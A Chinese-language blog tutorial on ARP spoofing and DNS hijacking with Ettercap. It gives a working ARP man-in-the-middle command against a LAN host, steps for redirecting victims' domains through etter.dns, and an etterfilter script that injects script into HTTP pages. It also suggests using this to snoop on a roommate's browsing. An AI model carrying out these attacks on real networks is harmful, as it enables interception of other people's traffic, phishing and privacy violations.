第五章-2 dns劫持 - Ettercap

每日一句:
		林暗草惊风,将军夜引弓。		——卢纶《和张仆射塞下曲·其二》

本次目标:从ARP欺骗到dns劫持案例

本文内容:
		~ARP协议简介
		~Ettercap简介
		~Ettercap常用指令
		~ettercap案例

一、ARP协议简介

	1,什么是arp?
			答:ARP(Address Resolution Protocol)即地址解析协议, 
			用于实现从 IP 地址到 MAC地址的映射,即询问目标IP对应的MAC地址
		
			问:如何知道MAC地址?
			答:打开cmd;ipconfig /all
			
			问:如何查看arp缓存表
			答:arp -a
			
	2,arp攻击危害
			通过修改mac地址可以造成但不仅仅以下情况:
					~中间人拦截
					~局域网流控
					~流量欺骗
					
			题外话:	
					大量的安全工具,例如大名鼎鼎的Cain、功能完备的Ettercap、操作傻瓜式的P2P终结者,底层都要基于ARP实现。

	3,arp攻击具体情况
			场景:局域网内,三台PC主机,一个被黑客攻击。黑客想在内网漫游扩大危害
			
			pc1正常,pc2正常,pc3被黑客控制
			开始:
					pc1在内网广播:我是pc1,pc2在哪?把你的mac地址给我
					pc3在内网回应:我pc2,把自己的mac地址发过去了
					pc3等会发广播:pc2在哪?我是pc1,把你的mac地址发给我
					pc2在内网回应:我是pc2,把自己的mac地址发过去了
				
				至此,pc3已经成了中间人,pc1和pc2交流的所有信息都会经过pc3
			
	4,防护arp攻击
			~进路由器,将IP与MAC地址,静态绑定。
					使用cmd命令:arp -s 网关IP 网关mac地址
					
			~安装arp防护墙
					例如360安全卫士,在路由器上绑定mac地址
	
	5,arp欺骗的原理
			通过欺骗局域网内访问者PC的网关MAC地址,
			使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。
			此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网上上特定计算机或所有计算机无法正常连线

二、Ettercap简介

	1,简介
			Ettercap是一个综合性的中间人攻击工具,
			使用它可以进行ARP欺骗、拦截器、DNS欺骗等常见的中间人攻击。


	2,特点:容易上手、同时具有图形化界面


	3,官网及其下载
	
			官网:
				http://www.ettercap-project.org/
			插件:
				https://linux.die.net/man/8/ettercap_plugins
			过滤器:
				https://linux.die.net/man/8/etterfilter

			补充:kali自带此款工具

三、Ettercap常用指令

			1.用户界面类型
					 -T, –text                          使用只显示字符的界面
					 -q, –quiet                         安静模式,不显示抓到的数据包内容
					 -G, –gtk                           使用GTK+ GUI,开启图形化模式
				
			2.日志选项
					-w, –write <file>                   将嗅探到的数据写入pcap文件 <file>
					-L, –log <logfile>                  此处记录所有流量<logfile>
				
			3.通用选项
					-i, –iface <iface>                  使用该网络接口
					-I, –liface                         显示所有的网络接口
					-P, –plugin <plugin>            	开始该插件<plugin>
					-F, –filter <file>                  加载过滤器 <file> (内容过滤器)
					
			4.嗅探与攻击选项
					-M, mitm <方法:ARGS>        		执行mitm攻击


			补充:也可以通过ettercap -h查找某些命令

四、ettercap案例

	Ettercap开启dns欺骗
	
			1.开启apache服务
				编辑html文件:leafpad /var/www/html/
				service apache2 start

			2.编辑ettercap配置文件
				Leafpad /etc/ettercap/etter.dns

			3.Ettercap使用图形化
				Ettercap –G

			4.命令行测试 
				ettercap -Tq -i eth0 -M arp:remote -w baidu.pcap /192.168.88.2// /192.168.88.134//
				===对192.168.88.134启动arp欺骗攻击,并且嗅探数据保存在baidu.pcap中
				===但是https的站点,不会被记录				
	
	Ettercap替换网页内容 – 钓鱼
	
			1.准备过滤器脚本
				官方示例脚本:
				/usr/share/ettercap/etter.filter.examples

			2.编译脚本
				etterfilter head.filter -o head.ef     //head.filter为脚本名

			3.受害者访问http网站
	
	过滤器脚本
	
			if (ip.proto == TCP && tcp.dst == 80){
				if (search(DATA.data, "Accept-Encoding")){
					replace("Accept-Encoding", "Accept-Nothing");
				}
			}

			if (ip.proto == TCP && tcp.src == 80) {
				if (search(DATA.data, "<head>")) {
					replace("<head>", "<head><script>alert('2333')</script>");
					msg("inject head");
				}
			}
		
			注意:该过滤脚本的作用是在http网站中替换<head>内容,弹个框
					值得一提的是,这并不是xss。而是替换了头文件,造成的弹框。
		
		
	案例:https://www.sohu.com/a/289585315_609556
	===通过这个案例,你就可以同步一下你舍友一天都干了什么,相当于历史记录。当然,有一定的数据丢失
		
			问:有很多设有怎么同时监听?
			答:加入你们处于同一内网,直接攻击监听路由器即可
		
		
	注意:在Ettercap的使用过程中,只有http的站点页面会被截取。https的站点仅仅是无法正常访问

五、知识补充

	问:DNS劫持的原理?
			是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,
			把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做使请求失去响应,
			其效果就是对特定的网络不能访问或访问的是假网址。
	
	问:在使用ettercap进行dns劫持的过程为什么要开启apache服务?
			我们劫持对方的域名,所以要把对方的域名指向一个地方,我们通过本地开启apache服务,把对方域名指向我们
			
	问:在哪里修改apache的网页文件?
			地址:/var/www/html 里面

	问:在使用ettercap需要对配置文件进行什么设置?
			对ettercap的dns配置文件进行修改,来指向我们的地址
			修改配置文件为:/etc/ettercap/etter.dns,修改dns解析记录
	
	问:如何劫持https站点,进行dns劫持?
			现在无法劫持https站点,因为无法加载证书,以及https传输为加密的
	
	问:在使用ettercap的时候过滤器的作用是什么?
			通过过滤器,我们能够直接去嗅探网页中的内容
	
	问:官方实例的过滤器脚本有什么用?
			给我们示例,以及让我们去学习创造
	
	问:如何编译我们的自己的脚本?
			使用命令:etterfilter 脚本名 -o 脚本名 , 第一个为要编译的脚本,第二个为导出脚本
原创文章 61 获赞 13 访问量 1万+

猜你喜欢

转载自blog.csdn.net/weixin_43970718/article/details/106151099